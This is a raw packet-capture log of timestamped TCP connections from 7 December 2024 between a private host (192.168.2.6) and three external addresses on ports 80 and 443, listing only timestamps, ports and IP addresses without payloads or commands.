Dec 7, 2024 00:15:48.417315960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.418194056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.418246031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.418327093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.418483973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.418756962 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.418773890 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.418867111 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.418880939 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.419110060 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.419187069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.419265032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.419307947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.419346094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.420187950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.420238972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.420299053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.420341969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.421180010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.421232939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.421257973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.421461105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.422152996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.422260046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.422322989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.423182011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.423234940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.423275948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.423320055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.424120903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.424169064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.424340963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.424376965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.425131083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.425184965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.425239086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.425426960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.426256895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.426270962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.426331043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.427135944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.427184105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.427217960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.427252054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.428198099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.428252935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.428524971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.429056883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.429153919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.429189920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.429277897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.429322958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.430135965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.430283070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.430334091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.431140900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.431196928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.431229115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.431324959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.432090998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.432137966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.432189941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.432226896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.432502985 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.432522058 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.432573080 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.432584047 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.432622910 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.432622910 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.433099031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.433180094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.433212042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.433275938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.434061050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.434163094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.434194088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.434338093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.435067892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.435127974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.435184002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.435225010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.436080933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.436146975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.436182976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.436228991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.437066078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.437118053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.437201023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.437238932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.438049078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.438191891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.447206974 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.447223902 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.447302103 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.447316885 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.447331905 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.447863102 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.488259077 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.488311052 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.488347054 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.488362074 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.488399029 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.488409042 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.500722885 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.500757933 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.500824928 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.500838995 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.500878096 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.500897884 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.505069017 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.505098104 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.505172968 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.505191088 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.505218983 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.505237103 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.510745049 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.511270046 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.511286974 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.512083054 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.512089014 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.512207985 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.512531996 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.512547970 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.512953997 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.512960911 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.516937017 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.516956091 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.517050028 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.517055988 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.517097950 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.521857977 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.521886110 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.521986961 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.522007942 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.522074938 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.529654980 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.529673100 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.529731989 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.529742002 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.529789925 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.538214922 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.538239002 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.538292885 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.538300991 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.538328886 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.538355112 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.544266939 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.544286013 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.544351101 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.544358015 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.544404030 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.547272921 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.547307968 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.547384024 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.547394991 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.547432899 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.547435045 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.553539991 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.553566933 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.553575993 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.553637981 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.553644896 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.553699970 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.554222107 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.554231882 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.554661036 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.554666042 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.558773994 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.558792114 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.558875084 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.558885098 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.558921099 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.559075117 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.559093952 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.559195995 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.559205055 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.559614897 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.569955111 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.569983006 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.570010900 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.570044041 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.570050955 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.570089102 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.570110083 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.570122957 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.570123911 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.570152044 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.570166111 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.572524071 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.572540998 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.572628021 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.572638035 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.572920084 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.577980042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.578062057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.578072071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.578360081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.578500986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.578617096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.578679085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.579497099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.579668999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.579746962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.580197096 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.580213070 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.580296040 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.580310106 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.580455065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.580501080 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.580509901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.580620050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.580661058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.581465960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.581525087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.581567049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.581613064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.582479954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.582662106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.582731962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.583476067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.583543062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.583678961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.583777905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.584441900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.584501028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.584567070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.584650993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.585441113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.585491896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.585628986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.586426020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.586479902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.586533070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.586574078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.586980104 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.586997032 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.587068081 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.587074041 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.587260008 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.587620974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.587634087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.587677002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.588423967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.588500977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.588525057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.588639975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.588934898 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.588953018 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.589024067 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.589034081 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.589059114 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.589083910 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.589417934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.589467049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.589592934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.589634895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.590526104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.590538025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.590599060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.591408014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.591473103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.591507912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.591546059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.592494965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.592567921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.592808008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.593324900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.593394041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.593478918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.593481064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.593563080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.594403982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.594531059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.594605923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.595487118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.595508099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.595537901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.595557928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.596369982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.596487999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.596539021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.598046064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.598061085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.598110914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.598298073 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.598315001 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.598390102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.598424911 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.598436117 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.598504066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.598567009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.598603964 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.598611116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.599364042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.599423885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.599483013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.599522114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.600346088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.600414991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.600446939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.600487947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.601337910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.601407051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.601442099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.601485968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.602348089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.602410078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.602452993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.602493048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.603338957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.603401899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.603445053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.603487015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.604362965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.604424000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.604433060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.604470968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.605458021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.605549097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.605742931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.606369019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.606441975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.606508017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.606551886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.607323885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.607397079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.607449055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.607491016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.608334064 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.608356953 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.608401060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.608421087 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.608429909 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.608458996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.608498096 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.608498096 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.618244886 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.618262053 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.618360996 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.618400097 CET	443	49831	150.171.27.10	192.168.2.6
